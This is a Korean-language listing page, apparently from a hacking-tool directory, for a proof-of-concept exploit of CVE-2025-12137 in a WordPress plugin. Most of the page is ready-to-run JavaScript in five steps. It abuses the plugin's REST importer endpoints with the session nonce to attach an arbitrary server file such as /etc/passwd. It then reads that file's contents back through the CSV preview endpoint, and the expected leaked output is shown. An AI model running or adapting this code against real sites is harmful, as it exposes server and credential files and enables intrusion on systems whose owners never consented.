Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12137 — CVE-2025-12137에 대한 개념 증명 익스플로잇으로, WordPress 플러그인의 REST API 임포터 엔드포인트를 통해 로컬 파일 노출을 시연합니다. 서버의 임의 파일을 첨부, 처리 및 미리보기하는 단계별 JavaScript 코드를 포함합니다. | Kitploit
도구/GitHubGitHub/jfriedli/cve-2025-12137
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubjfriedli/cve-2025-12137

CVE-2025-12137

CVE-2025-12137에 대한 개념 증명 익스플로잇으로, WordPress 플러그인의 REST API 임포터 엔드포인트를 통해 로컬 파일 노출을 시연합니다. 서버의 임의 파일을 첨부, 처리 및 미리보기하는 단계별 JavaScript 코드를 포함합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

1) 현재 nonce로 플러그인의 REST API를 호출하는 도우미

root@kitploit:~
async function iwpFetch(path, method='GET', body) {
  const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce'];
  const res = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1${path}`, {
    method,
    headers: { 'Content-Type':'application/json', 'X-WP-Nonce': nonce },
    body: body ? JSON.stringify(body) : undefined,
    credentials: 'same-origin'
  });
  const text = await res.text();
  try { return JSON.parse(text); } catch { return { status: res.ok ? 'S':'E', data: text }; }
}

2) 새 importer 생성

root@kitploit:~
const created = await iwpFetch('/importer', 'POST', { name: 'PoC Local File Disclosure' });
const IID = created?.data?.id;

console.log('Importer created', created);

if (!IID) throw new Error('Failed to create importer');

3) 서버에서 임의의 로컬 파일 첨부

(예: Linux의 /etc/passwd)

root@kitploit:~
// Tell the server we’re “attaching” a local file path
const attach = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1/importer/${IID}/upload`, {
  method: 'POST',
  headers: {
    'X-WP-Nonce': (window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce']),
  },
  body: new URLSearchParams({
    action: 'file_local',
    local_url: '/etc/passwd',     // replace with any readable server path
    filetype: 'csv'               // forces CSV pipeline so preview returns raw lines
  }),
  credentials: 'same-origin'
}).then(r => r.json());

console.log('Local file attached', attach);

4) “CSV”를 처리하여 설정/개수 초기화 (재실행 안전)

root@kitploit:~
const processed = await iwpFetch(`/importer/${IID}/file-process`, 'POST', {
  delimiter: ',', enclosure: '"', escape: '\\'
});

console.log('File processed', processed);

5) CSV 미리보기 엔드포인트를 통해 파일 내용 미리보기

root@kitploit:~
const row0 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 0,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 0', row0);

const row1 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 1,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 1', row1);

// Expected:
// row0 / row1 arrays contain split fields from /etc/passwd, e.g.:
// row0.data.row → ["root","x","0","0","root","/root","/usr/bin/zsh"]
도구 다운로드